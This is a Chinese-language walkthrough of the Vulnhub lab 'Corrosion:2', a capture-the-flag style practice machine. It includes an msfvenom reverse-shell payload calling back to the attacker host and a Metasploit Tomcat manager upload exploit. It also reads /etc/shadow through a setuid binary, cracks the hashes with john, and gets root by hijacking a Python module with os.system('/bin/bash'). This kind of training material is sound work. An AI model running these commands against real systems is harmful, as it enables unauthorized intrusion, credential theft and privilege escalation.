【Vulnhub】Corrosion:2
Corrosion:2
Description
Difficult:Medium
Hint:Enumeration is key.
准备:
kali:192.168.1.8
靶机:192.168.1.9
工具:fscan、dirsearch、ffuf、fcrackzip、msf、unshadow
信息收集
先使用 fscan 扫描内网查看靶机ip,为:192.168.1.9

这里 fscan 直接扫描出来漏洞了,不管它...
nmap扫描端口服务
namp -A -sV -p- 192.168.1.9

开放了 22、80、8080


ffuf 扫一下 80端口的网站目录,没什么结果
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.9/FUZZ
用 dirsearch 先快速扫描一下 8080 端口的网站目录,发现有个zip文件和 readme.txt 文件
dirsearch -u http://192.168.1.9:8080

再用 ffuf 使用大字典扫一遍,结果差不多
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.9:8080/FUZZ
显示有两个目录 examples/、manager/。

先进入 readme.txt 内查看一下

透露了两个信息
administrator 用户名为 randy
在server里留了一个加密的file
那不就是说目录扫描出来的 backup.zip 文件么,下载下来
使用 fcrackzip 爆破
fcrackzip -u -D -p rockyou.txt backup.zip

zip解压密码为:@administrator_hi5
发现里面有个 tomcat-users.xml 文件,内容包含有账号密码


进入我们之前用 ffuf 扫到的两个目录查看
第一个 examples/ 目录里面有很多测试功能和接口,但没什么用

看第二个 manager/ 目录,发现需要登陆

用我们刚才获取的账号密码登陆进去
(我这里用了 admin/melehifokivai 这个账号密码,因为这个账号的roles是 admin-gui 和 manager-gui)

在 WAR file to deploy 中看到有上传,但是要求是war后缀的文件
漏洞利用
可以用 msf 生成一个 war 格式的木马尝试上传
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.8 LPORT=6789 -f war > 1.war

监听不到

换方法...
msf 中有一个直接可以利用的 Tomcat upload 的 webshell 模块,直接输入 msfconsole 打开msf,然后
search tomcat upload

use exploit/multi/http/tomcat_mgr_upload
[!NOTE]
这里说明一下,虽然直接
use 7也可以,但是尽量填路径吧,就在刚刚我看错了模块名,设置好之后,run了好几次没run动...

show options

这里需要填 账号、密码、目标IP、修改目标端口,然后再 show options
set HttpPassword melehifokivai
set HttpUsername admin
set RHOSTS 192.168.1.9
set RPORT 8080
show options

确认无误后,run!

输入 shell,开始执行系统命令,查看当前用户为 tomcat

慢慢搜搜,可以看到 randy 用户目录里面有个user.txt

cat user.txt
拿到第一个flag

在上面我们搜索的过程中有进入到用户名为 jaye 的目录中,并且输入ls发现没有权限
尝试切换到 jaye 用户,并且密码还是 melehifokivai
【为什么?因为之前那个tomcat-user文件里面两个用户的密码都是这个...】

ls发现该用户目录还是有个 user.txt 不过flag一样。。。
接下来查看 /etc/passwd 文件,发现jaye是可以通过ssh登录的

cat 一下 /etc/shadow
【这里说明一下,/etc/shadow 是一个很重要的安全文件,用于存储用户的密码信息,包含了加密的用户密码,但是只有具有root权限才能访问】
cat /etc/shadow

用ssh登陆jaye用户,进去之后发现有个 Files 文件是之前没有看到的,进入查看,发现有一个可执行文件look

该 look 文件具有root权限,另外 look 命令可以越权访问。
所以用 look 再去查看 /etc/shadow

./look '' /etc/shadow

将获取到的内容复制到本地 shadow 文件,还有之前的 /etc/passwd 内容也复制下来到 passwd 文件,然后暴力破解,生成密码本
unshadow passwd shadow > pass.txt

得到的 pass.txt 文件内容应该为:

破解 pass.txt 文件【这里的字典一般是在kali系统的 /usr/share/wordlists/ 目录中】
john --wordlist=rockyou.txt ./pass.txt
爆破过程比较慢长,一般几个小时。结果出来两个用户

我这里跑出来一个用户就截图了,你可以慢慢跑[doge]
jaye/melehifokivai
randy/07051986randy
第一个 jaye 用户前面已经得到过了
登录第二个 randy 用户吧

提权
查看用户允许的操作:
sudo -l

可以root运行当前目录下的 randombase64.py 文件
cat 一下,并且查看该文件权限


但是发现不能编辑更改这个文件,不过可以python运行

回过头来,代码导入 base64 模块,不如就直接更改这个模块【这里的思路在一些文件包含漏洞里也能用上】
找到 base64.py 文件

nano 编辑 base64.py 文件,导入os模块,然后在 base64加密函数中写入 shell


sudo 以 python3.8 运行 randombase64.py 脚本,拿到 root 权限,获取 root flag


总结
首先,解释一下最后在 base64.py 文件中 b646encode 函数添加 os.system("/bin/bash")语句的作用:
os.system()是 Python 中执行系统命令的函数。它可以让 Python 代码直接调用操作系统命令。- 在这种情况下,
os.system("/bin/bash")会启动一个 Bash shell。当这个函数被执行时,当前的程序会进入一个新打开的 Bash shell 环境中。
于是当我们运行 randombase64.py 脚本的过程中便以 root 用户打开了一个新的shell环境
[!TIP]
其实还有一种提权方法:CVE-2021-4034【https://github.com/berdav/CVE-2021-4034】

浙公网安备 33010602011771号